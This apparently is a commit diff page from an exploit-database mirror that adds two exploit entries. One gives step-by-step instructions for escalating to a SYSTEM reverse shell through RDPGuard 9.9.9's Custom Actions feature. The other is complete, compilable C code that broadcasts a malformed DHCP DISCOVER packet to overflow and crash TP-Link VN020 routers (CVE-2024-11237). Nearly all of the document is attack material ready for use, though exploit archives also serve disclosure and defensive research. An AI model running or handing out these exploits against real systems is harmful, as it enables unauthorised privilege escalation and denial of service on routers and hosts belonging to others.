Skip to content

Commit 76803ac

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents b46dd5e + e49e8d0 commit 76803ac

File tree

5 files changed

+501
-0
lines changed

5 files changed

+501
-0
lines changed

exploits/multiple/local/52289.txt

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# Exploit Title: RDPGuard 9.9.9 - Privilege Escalation
2+
# Discovered by: Ahmet Ümit BAYRAM
3+
# Discovered Date: 09.05.2025
4+
# Vendor Homepage: https://rdpguard.com
5+
# Software Link: https://rdpguard.com/download.aspx
6+
# Tested Version: 9.9.9 (latest)
7+
# Tested on: Windows 10 (32bit)
8+
9+
# # # Steps to Reproduce # # #
10+
11+
# 1. Prepare a .bat file containing your reverse shell code.
12+
# 2. Open RDPGuard.
13+
# 3. Navigate to Tools > Custom Actions / Notifications.
14+
# 4. Click the "Add" button.
15+
# 5. Leave "Event" as "IP Blocked".
16+
# 6. Select "Execute Program" from the "Action" dropdown.
17+
# 7. Under the "Program/script" field, select your prepared .bat file.
18+
# 8. Set up your listener.
19+
# 9. Click "Test Run".
20+
# 10. A reverse shell as NT AUTHORITY\SYSTEM is obtained!

exploits/multiple/local/52292.c

Lines changed: 338 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,338 @@
1+
/*
2+
* Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow
3+
* Date: 10/20/2024
4+
* Exploit Author: Mohamed Maatallah
5+
* Vendor Homepage: https://www.tp-link.com
6+
* Version: TT_V6.2.1021 (VN020-F3v(T))
7+
* Tested on: VN020-F3v(T) Router (Hardware Version 1.0)
8+
* CVE: CVE-2024-11237
9+
* Category: Remote
10+
11+
* Technical Details:
12+
* -----------------
13+
* - Triggers multiple memory corruption vectors in DHCP parsing
14+
* - Primary vector: Stack overflow via oversized hostname (127 bytes)
15+
* - Secondary vector: Parser confusion via malformed length fields
16+
* - Tertiary vector: Vendor specific option parsing edge case
17+
*
18+
* Attack Surface:
19+
* --------------
20+
* - DHCP service running on port 67
21+
* - Processes broadcast DISCOVER packets
22+
* - No authentication required
23+
* - Affects all routers running VN020 F3v(t) specifically the ones
24+
* supplied by Tunisie Telecom & Topnet
25+
*
26+
* Exploitation Method:
27+
* ------------------
28+
* 1. Sends crafted DHCP DISCOVER packet
29+
* 2. Overflows hostname buffer (64 -> 127 bytes)
30+
* 3. Corrupts length fields in DHCP options
31+
* 4. Success = No response (service crash)
32+
*
33+
* Build:
34+
* ------
35+
* Windows: cl poc.c /o tplink_dhcp.exe or use visual studio directly.
36+
*
37+
* Usage:
38+
* ------
39+
* tplink_dhcp.exe
40+
41+
#define _WINSOCK_DEPRECATED_NO_WARNINGS
42+
#include <Ws2tcpip.h>
43+
#include <stdio.h>
44+
#include <stdlib.h>
45+
#include <string.h>
46+
#include <time.h>
47+
#include <winsock2.h>
48+
49+
#pragma comment(lib, "ws2_32.lib")
50+
51+
// Standard DHCP ports - Server listens on 67, clients send from 68
52+
#define DHCP_SERVER_PORT 67
53+
#define DHCP_CLIENT_PORT 68
54+
#define MAX_PACKET_SIZE 1024 // Maximum size for DHCP packet
55+
#define MAX_ATTEMPTS 3
56+
57+
// Forward declarations of functions
58+
void create_dhcp_discover_packet(unsigned char* packet, int* packet_length);
59+
void add_option(unsigned char* packet, int* offset, unsigned char option,
60+
unsigned char length, unsigned char* data);
61+
void tp_link(unsigned char* packet, int* offset);
62+
void print_packet_hex(unsigned char* packet, int length);
63+
int wait_for_response(SOCKET sock, int timeout);
64+
65+
int main() {
66+
WSADATA wsa;
67+
SOCKET sock;
68+
struct sockaddr_in dest;
69+
unsigned char packet[MAX_PACKET_SIZE]; // Buffer for DHCP packet
70+
int packet_length = 0; // Length of constructed packet
71+
int attempts = 0; // Counter for send attempts
72+
int success = 0;
73+
74+
75+
printf("[TP-Thumper] Initializing Winsock...\n");
76+
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
77+
printf("[TP-Thumper] Winsock initialization failed. Error: %d\n",
78+
WSAGetLastError());
79+
return 1;
80+
}
81+
82+
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
83+
if (sock == INVALID_SOCKET) {
84+
printf("[TP-Thumper] Could not create socket. Error: %d\n",
85+
WSAGetLastError());
86+
WSACleanup();
87+
return 1;
88+
}
89+
90+
// Set up broadcast address (255.255.255.255)
91+
dest.sin_family = AF_INET;
92+
dest.sin_port = htons(DHCP_SERVER_PORT);
93+
dest.sin_addr.s_addr = inet_addr("255.255.255.255");
94+
95+
// Enable broadcast mode on socket
96+
BOOL broadcast = TRUE;
97+
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*)&broadcast,
98+
sizeof(broadcast)) < 0) {
99+
printf("[TP-Thumper] Broadcast mode failed.\n");
100+
closesocket(sock);
101+
WSACleanup();
102+
return 1;
103+
}
104+
105+
srand((unsigned int)time(NULL));
106+
107+
// Create the DHCP DISCOVER packet
108+
create_dhcp_discover_packet(packet, &packet_length);
109+
110+
// Main attempt loop - tries to send packet MAX_ATTEMPTS times
111+
while (attempts < MAX_ATTEMPTS && !success) {
112+
printf("[TP-Thumper] Sending DHCP Discover packet (Attempt %d/%d)...\n",
113+
attempts + 1, MAX_ATTEMPTS);
114+
print_packet_hex(packet, packet_length); //debug
115+
116+
// Send the packet
117+
if (sendto(sock, (char*)packet, packet_length, 0, (struct sockaddr*)&dest,
118+
sizeof(dest)) < 0) {
119+
printf("[TP-Thumper] Packet send failed. Error: %d\n", WSAGetLastError());
120+
}
121+
else {
122+
printf("[TP-Thumper] Packet sent. Waiting for router response...\n");
123+
if (wait_for_response(sock, 10)) {
124+
printf(
125+
"[TP-Thumper] Router responded! Exploit may not have succeeded.\n");
126+
success = 1;
127+
}
128+
else {
129+
printf("[TP-Thumper] No response received within timeout.\n");
130+
}
131+
}
132+
attempts++;
133+
}
134+
if (!success) {
135+
printf(
136+
"[TP-Thumper] Exploit succeeded: No router response after %d "
137+
"attempts.\n",
138+
MAX_ATTEMPTS);
139+
}
140+
else {
141+
printf("[TP-Thumper] Exploit failed: Router responded within timeout.\n");
142+
}
143+
144+
// Cleanup
145+
closesocket(sock);
146+
WSACleanup();
147+
return 0;
148+
}
149+
/*
150+
* DHCP Message Format:
151+
* [0x00]: op = 0x01 ; BOOTREQUEST
152+
* [0x01]: htype = 0x01 ; Ethernet
153+
* [0x02]: hlen = 0x06 ; MAC addr len
154+
* [0x03]: hops = 0x00 ; No relay
155+
* [0x04-0x07]: xid ; Random transaction ID
156+
* [0x08-0x0F]: secs + flags ; Broadcast flags set
157+
* [0x10-0x1F]: ciaddr + yiaddr ; Empty
158+
* [0x20-0x27]: siaddr + giaddr ; Empty
159+
* [0x28-0x2D]: chaddr ; Crafted MAC
160+
*/
161+
162+
void create_dhcp_discover_packet(unsigned char* packet, int* packet_length) {
163+
memset(packet, 0, MAX_PACKET_SIZE);
164+
int offset = 0;
165+
166+
// DHCP Header - Standard fields
167+
packet[offset++] = 0x01; // BOOTREQUEST
168+
packet[offset++] = 0x01; // Ethernet
169+
packet[offset++] = 0x06; // MAC len
170+
packet[offset++] = 0x00; // No hops
171+
172+
// ; XID - rand() used for bypass of response filtering
173+
// ; mov eax, rand()
174+
// ; mov [packet + 4], eax
175+
unsigned int xid = (unsigned int)rand();
176+
*((unsigned int*)&packet[offset]) = htonl(xid);
177+
offset += 4;
178+
179+
// ; Flags - Set broadcast bit to force response
180+
// ; mov word [packet + 8], 0x0000 ; secs elapsed
181+
// ; mov word [packet + 10], 0x8000 ; broadcast flag
182+
packet[offset++] = 0x00;
183+
packet[offset++] = 0x00;
184+
packet[offset++] = 0x80;
185+
packet[offset++] = 0x00;
186+
187+
// Zero IP fields - forces DHCP server parse
188+
memset(&packet[offset], 0, 16);
189+
offset += 16;
190+
191+
// ; Crafted MAC - DE:AD:BE:EF:00:01
192+
// ; Used for unique client tracking, bypasses MAC filters
193+
packet[offset++] = 0xDE;
194+
packet[offset++] = 0xAD;
195+
packet[offset++] = 0xBE;
196+
packet[offset++] = 0xEF;
197+
packet[offset++] = 0x00;
198+
packet[offset++] = 0x01;
199+
memset(&packet[offset], 0x00, 10);
200+
offset += 10;
201+
202+
// ; Skip server name/boot filename
203+
// ; Total padding: 192 bytes
204+
memset(&packet[offset], 0x00, 64);
205+
offset += 64;
206+
memset(&packet[offset], 0x00, 128);
207+
offset += 128;
208+
209+
// ; DHCP Magic Cookie
210+
// ; 0x63825363 = DHCP in natural order
211+
packet[offset++] = 0x63;
212+
packet[offset++] = 0x82;
213+
packet[offset++] = 0x53;
214+
packet[offset++] = 0x63;
215+
216+
// ; Stack layout after this point:
217+
// ; [ebp+0] = DHCP header
218+
// ; [ebp+240] = DHCP options start
219+
// ; Router parses sequentially from this point
220+
add_option(packet, &offset, 0x35, 0x01, (unsigned char[]) { 0x01 });
221+
add_option(packet, &offset, 0x37, 4,
222+
(unsigned char[]) {
223+
0x01, 0x03, 0x06, 0x0F
224+
});
225+
226+
// ; Trigger overflow conditions
227+
tp_link(packet, &offset);
228+
229+
packet[offset++] = 0xFF; // End option
230+
*packet_length = offset;
231+
}
232+
233+
void tp_link(unsigned char* packet, int* offset) {
234+
// ; Vendor specific overflow - triggers parser state confusion
235+
// ; 0x00,0x14,0x22 = TP-Link vendor prefix
236+
// ; Following 0xFF bytes cause length validation bypass
237+
unsigned char vendor_specific[] = { 0x00, 0x14, 0x22, 0xFF, 0xFF, 0xFF };
238+
add_option(packet, offset, 0x2B, sizeof(vendor_specific), vendor_specific);
239+
240+
// ; Stack buffer overflow via hostname
241+
// ; Router allocates 64-byte buffer but we send 127
242+
// ; Overwrites adjacent stack frame
243+
unsigned char long_hostname[128];
244+
memset(long_hostname, 'A', sizeof(long_hostname) - 1);
245+
long_hostname[127] = '\0';
246+
add_option(packet, offset, 0x0C, 127, long_hostname);
247+
248+
// ; Length field exploit
249+
// ; Claims 255 bytes but only sends 1
250+
// ; Router assumes full length during memory operations
251+
// ; leads to read/write past buffer
252+
add_option(packet, offset, 0x3D, 0xFF, (unsigned char[]) { 0x01 });
253+
}
254+
255+
// ; Helper for DHCP option construction
256+
// ; option = option code
257+
// ; length = claimed length (can be falsified)
258+
// ; data = actual payload
259+
260+
void add_option(unsigned char* packet, int* offset, unsigned char option,
261+
unsigned char length, unsigned char* data) {
262+
packet[(*offset)++] = option; // Option type
263+
packet[(*offset)++] = length; // Claimed length
264+
memcpy(&packet[*offset], data, length);
265+
*offset += length;
266+
}
267+
268+
// Debug
269+
void print_packet_hex(unsigned char* packet, int length) {
270+
printf("[TP-Thumper] Packet Hex Dump:\n");
271+
272+
// Print header fields with labels
273+
printf("Opcode (op): %02X\n", packet[0]);
274+
printf("Hardware Type (htype): %02X\n", packet[1]);
275+
printf("Hardware Address Length (hlen): %02X\n", packet[2]);
276+
printf("Hops: %02X\n", packet[3]);
277+
278+
// Transaction ID
279+
printf("Transaction ID (xid): ");
280+
for (int i = 4; i < 8; i++) {
281+
printf("%02X ", packet[i]);
282+
}
283+
printf("\n");
284+
285+
// Flags
286+
printf("Flags: ");
287+
for (int i = 10; i < 12; i++) {
288+
printf("%02X ", packet[i]);
289+
}
290+
printf("\n");
291+
292+
// Client Hardware Address (MAC)
293+
printf("Client Hardware Address (chaddr): ");
294+
for (int i = 28; i < 34; i++) {
295+
printf("%02X ", packet[i]);
296+
}
297+
printf("\n");
298+
299+
// DHCP Magic Cookie
300+
printf("Magic Cookie: ");
301+
for (int i = 236; i < 240; i++) {
302+
printf("%02X ", packet[i]);
303+
}
304+
printf("\n");
305+
306+
// DHCP Options
307+
printf("DHCP Options:\n");
308+
int i = 240;
309+
while (i < length) {
310+
printf(" Option: %02X, Length: %02X, Data: ", packet[i], packet[i + 1]);
311+
int option_length = packet[i + 1];
312+
for (int j = 0; j < option_length; j++) {
313+
printf("%02X ", packet[i + 2 + j]);
314+
}
315+
printf("\n");
316+
i += 2 + option_length;
317+
if (packet[i] == 0xFF) {
318+
printf(" End of Options\n");
319+
break;
320+
}
321+
}
322+
}
323+
324+
// Wait for router response with timeout
325+
int wait_for_response(SOCKET sock, int timeout) {
326+
struct timeval tv;
327+
tv.tv_sec = timeout;
328+
tv.tv_usec = 0;
329+
330+
// Set up file descriptor set for select()
331+
fd_set readfds;
332+
FD_ZERO(&readfds);
333+
FD_SET(sock, &readfds);
334+
335+
// Wait for data or timeout
336+
int result = select(0, &readfds, NULL, NULL, &tv);
337+
return result > 0; // Returns true if data available
338+
}

0 commit comments

Comments
 (0)